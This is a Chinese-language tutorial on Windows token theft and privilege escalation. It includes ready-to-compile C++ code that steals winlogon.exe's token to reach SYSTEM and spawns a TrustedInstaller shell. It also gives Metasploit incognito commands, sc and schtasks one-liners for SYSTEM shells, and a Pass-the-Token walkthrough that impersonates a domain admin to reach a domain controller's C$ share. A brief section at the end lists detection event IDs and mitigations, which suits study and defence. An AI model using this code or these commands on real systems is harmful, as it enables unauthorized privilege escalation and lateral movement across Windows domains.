概述

Windows Token 的窃取与利用、incognito 工具的使用、获取 System 和 TrustedInstaller 权限

相关推荐:

基本概念回顾

Token(访问令牌) 是 Windows 安全模型的核心。每个进程和线程都关联一个 Token,内核在访问对象时用它做权限检查。

两种主要类型:

  • Primary Token(主令牌):进程级别,由 CreateProcess 系列函数继承或显式指定
  • Impersonation Token(模拟令牌):线程级别,用于服务端模拟调用方身份

模拟令牌有四个等级(SECURITY_IMPERSONATION_LEVEL):

等级说明
Anonymous0无法获取调用方信息
Identification1可查询身份,不能模拟
Impersonation2本地模拟
Delegation3跨网络模拟(需 Kerberos)

窃取 Token 的本质是:拿到目标进程/线程的 Token 句柄,再用它创建新进程或切换当前线程身份


Token 窃取原理

所需权限

窃取 Token 依赖两个关键特权,通常需要管理员或 SYSTEM 权限才能开启:

特权用途
SeDebugPrivilege打开任意进程(OpenProcess 不受 DACL 限制)
SeImpersonatePrivilege用窃取到的令牌模拟其他用户
SeAssignPrimaryTokenPrivilege将令牌设置为进程主令牌

服务账户(Network Service、Local Service、IIS AppPool)默认具有 SeImpersonatePrivilege,这是 Potato 系列提权的前提。

核心 API 链

C++cpp
OpenProcess(PROCESS_QUERY_INFORMATION, pid)
OpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken)
DuplicateTokenEx(hToken, ..., TokenImpersonation/TokenPrimary, &hDup)
ImpersonateLoggedOnUser(hDup)          // 切换当前线程
        or
CreateProcessWithTokenW(hDup, ...)     // 启动新进程

手动实现 Token 窃取

枚举进程并窃取指定用户的 Token

C++cpp
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
 
// 开启指定特权
BOOL EnablePrivilege(LPCWSTR lpPrivilege) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
 
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;
 
    if (!LookupPrivilegeValueW(NULL, lpPrivilege, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }
 
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
    BOOL ret = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);
    return ret && (GetLastError() == ERROR_SUCCESS);
}
 
// 从目标 PID 窃取 Token 并模拟
BOOL StealToken(DWORD dwPid) {
    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
    if (!hProc) return FALSE;
 
    HANDLE hToken = NULL;
    if (!OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
        CloseHandle(hProc);
        return FALSE;
    }
 
    HANDLE hDupToken = NULL;
    // 复制为模拟令牌
    BOOL ok = DuplicateTokenEx(
        hToken,
        TOKEN_ALL_ACCESS,
        NULL,
        SecurityImpersonation,
        TokenImpersonation,
        &hDupToken
    );
 
    CloseHandle(hToken);
    CloseHandle(hProc);
    if (!ok) return FALSE;
 
    // 切换当前线程身份
    ok = ImpersonateLoggedOnUser(hDupToken);
    CloseHandle(hDupToken);
    return ok;
}
 
int wmain() {
    EnablePrivilege(SE_DEBUG_NAME);
    EnablePrivilege(SE_IMPERSONATE_NAME);
 
    // 窃取 winlogon.exe (SYSTEM) 的 Token
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { sizeof(pe) };
    if (Process32FirstW(hSnap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
                if (StealToken(pe.th32ProcessID)) {
                    wprintf(L"[+] 模拟成功,PID=%lu\n", pe.th32ProcessID);
                    // 在此执行需要 SYSTEM 权限的操作...
                    system("whoami");  // 应输出 nt authority\system
                    RevertToSelf();   // 恢复原身份
                }
                break;
            }
        } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return 0;
}

用窃取的 Token 启动新进程

ImpersonateLoggedOnUser 只影响当前线程;要 启动一个以目标身份运行的新进程,需要用主令牌:

C++cpp
// 将复制类型改为 TokenPrimary
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
    SecurityImpersonation, TokenPrimary, &hPrimaryToken);
 
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
 
// CreateProcessWithTokenW 要求调用方有 SeImpersonatePrivilege
CreateProcessWithTokenW(
    hPrimaryToken,
    LOGON_WITH_PROFILE,
    L"C:\\Windows\\System32\\cmd.exe",
    NULL, 0, NULL, NULL, &si, &pi
);

注意CreateProcessWithTokenW 内部经由 Secondary Logon 服务(seclogon),若该服务被禁用则调用失败。替代方案是 CreateProcessAsUserW(需要 SeAssignPrimaryTokenPrivilege)。


incognito 工具

incognito 是 Metasploit 中集成的 Token 操作模块,也有独立的 Windows 可执行版本。

Metasploit 中使用

bash
# 获得 Meterpreter 会话后加载
meterpreter > load incognito
 
# 列出所有可用令牌
meterpreter > list_tokens -u
 
[*] Delegation Tokens Available
========================================
NT AUTHORITY\SYSTEM
WIN-TEST\Administrator
 
[*] Impersonation Tokens Available
========================================
NT AUTHORITY\NETWORK SERVICE
 
# 模拟 SYSTEM 令牌
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
 
# 返回原始令牌
meterpreter > rev2self

独立版本(Windows 命令行)

cmd
# 列出令牌
incognito.exe list_tokens -u
 
# 执行命令(以目标身份)
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

Delegation vs Impersonation Token 的区别:

  • Delegation Token:从交互式登录(本地登录、RDP)产生,可用于跨网络资源访问(Pass-the-Token)
  • Impersonation Token:来自网络登录(net use、WMI),不可用于二次网络跳转

获取 SYSTEM 权限

从管理员(High Integrity)提升到 SYSTEM 有多条路径:

方法一:Token 窃取(推荐)

目标:winlogon.exelsass.exeservices.exe 等以 SYSTEM 运行的进程。

powershell
# PowerShell 一行版(需管理员)
$id = (Get-Process winlogon)[0].Id
$h = [System.Diagnostics.Process]::GetProcessById($id).Handle

或者使用 PsExec(Sysinternals):

cmd
PsExec.exe -s -i cmd.exe
# -s  以 SYSTEM 运行
# -i  交互式(桌面可见)

方法二:创建系统服务

cmd
# 注册一个以 LocalSystem 运行的服务
sc create SystemShell binPath= "cmd.exe /c start cmd.exe" type= own start= demand obj= "LocalSystem"
sc start SystemShell
sc delete SystemShell

方法三:通过计划任务

cmd
schtasks /create /tn "SystemShell" /tr "cmd.exe" /sc once /st 00:00 /ru SYSTEM /f
schtasks /run /tn "SystemShell"
schtasks /delete /tn "SystemShell" /f

获取 TrustedInstaller 权限

TrustedInstaller 是 Windows 中权限高于 SYSTEM 的账户,用于保护系统文件(如 C:\Windows\System32 下的核心 DLL)。即使是 SYSTEM 账户也无法直接修改这些文件。

原理

TrustedInstaller 实际上是一个服务账户(SID: S-1-5-80-956008885-...),对应服务 TrustedInstallerC:\Windows\servicing\TrustedInstaller.exe)。

获取该权限的步骤:

  1. 先提升到 SYSTEM
  2. 启动 TrustedInstaller 服务
  3. 窃取该服务进程的 Token

实现代码

C++cpp
#include <windows.h>
#include <stdio.h>
 
DWORD GetTrustedInstallerPid() {
    // 启动服务,获取其 PID
    SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
    SC_HANDLE hSvc = OpenServiceW(hSCM, L"TrustedInstaller",
        SERVICE_START | SERVICE_QUERY_STATUS);
 
    SERVICE_STATUS_PROCESS ssp = {};
    DWORD dwBytes = 0;
    QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO,
        (LPBYTE)&ssp, sizeof(ssp), &dwBytes);
 
    if (ssp.dwCurrentState != SERVICE_RUNNING) {
        StartServiceW(hSvc, 0, NULL);
        // 等待服务启动
        Sleep(1000);
        QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO,
            (LPBYTE)&ssp, sizeof(ssp), &dwBytes);
    }
 
    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return ssp.dwProcessId;
}
 
int wmain() {
    // 1. 确保当前是 SYSTEM(先用 Token 窃取提权)
    EnablePrivilege(SE_DEBUG_NAME);
 
    // 2. 获取 TrustedInstaller PID
    DWORD dwTIPid = GetTrustedInstallerPid();
    wprintf(L"[*] TrustedInstaller PID: %lu\n", dwTIPid);
 
    // 3. 窃取 Token
    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwTIPid);
    HANDLE hToken = NULL;
    OpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken);
 
    HANDLE hPrimary = NULL;
    DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
        SecurityImpersonation, TokenPrimary, &hPrimary);
 
    // 4. 以 TrustedInstaller 身份启动进程
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {};
    CreateProcessWithTokenW(hPrimary, LOGON_WITH_PROFILE,
        L"C:\\Windows\\System32\\cmd.exe",
        NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
 
    wprintf(L"[+] TrustedInstaller CMD 已启动\n");
    return 0;
}

工具化方案

NSudo 封装了上述逻辑,直接 GUI 操作:

cmd
# 命令行方式
NSudoLC.exe -U:T -P:E cmd.exe
# -U:T  TrustedInstaller 权限
# -P:E  开启所有可用特权

Pass-the-Token(令牌传递)

与 Pass-the-Hash 类似,Delegation Token 包含完整的 Kerberos 票据,可用于访问网络资源。

bash
# 在 Meterpreter + incognito 中
meterpreter > list_tokens -u
# 找到域用户的 Delegation Token
 
meterpreter > impersonate_token "DOMAIN\\DomainAdmin"
# 现在可以访问域内资源
meterpreter > shell
cmd> dir \\DC01\C$

防御与检测

关键事件 ID

事件 ID含义
4624登录成功(关注 Logon Type 9 - NewCredentials)
4648使用显式凭据的登录尝试
4672分配了特殊特权(SeDebug、SeImpersonate 等)
4688进程创建(关注父子关系异常)
4703Token 权限调整

防护措施

  1. 最小权限原则:服务账户不分配不必要的特权,尤其是 SeDebugPrivilege
  2. Protected Process Light (PPL):lsass.exe 开启 PPL 后无法被普通 SYSTEM 进程打开
  3. Windows Defender Credential Guard:保护域凭据,阻断 Token 中的票据滥用
  4. 审计特权使用:开启「审核特权使用」策略,监控 4672/4703 事件
  5. 禁用 Secondary Logon 服务:阻断 CreateProcessWithTokenW 的一条调用路径(影响 runas 等功能)

参考